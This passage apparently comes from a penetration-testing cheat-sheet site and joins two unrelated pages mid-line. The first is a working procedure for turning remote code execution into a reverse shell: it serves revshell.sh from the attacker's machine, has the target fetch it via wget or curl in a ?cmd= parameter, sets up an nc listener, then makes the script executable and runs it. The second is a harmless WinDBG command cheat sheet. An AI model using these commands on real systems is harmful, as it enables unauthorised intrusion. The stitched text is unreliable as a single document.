2. Upload the script to website

Start web server in local machine to upload the script.

python3 -m http.server 8000

Then upload it by remote code execution in target website.

https://vulnerable.com/?cmd=wget http://<local-ip>:8000/revshell.sh
# or
https://vulnerable.com/?cmd=curl <local-ip>:8000/revshell.sh

To confirm the script uploaded, execute the following RCE.

https://vulnerable.com/?cmd=ls

3. Get a shell

Start listener for getting a shell in local machine.

nc -lvnp 4444

Now execute the uploaded script via RCE.

# 1. Change permission for the script
https://vulenrable.com/?cmd=chmod 777 revshell.sh
# 2. Execute the script
https://vulnerable.com/?cmd=./revshell.sh

We should now get the target shell.--- title: WinDBG Cheat Sheet description: tags: - Reverse Engineering refs: date: 2024-02-18 draft: false


Common

# Get PEB (Process Environment Block)
!peb

# Display stack backtrace
kv


dt (Display Type)

Display fields and values.

# TEB (Thread Environment Block)
dt _teb

# PEB (Process Environment Block)
dt _peb
# @$peb: Refer to the PEB of the current process.
dt _peb @$peb

# LDR
dt _PEB_LDR_DATA
# poi: Dereference
dt _PEB_LDR_DATA poi(@$peb+0x123)
dt _LDR_DATA_TABLE_ENTRY
dt _LDR_DATA_TABLE_ENTRY 0x123


? (Evaluate Expression)

? poi(@$peb+0x123)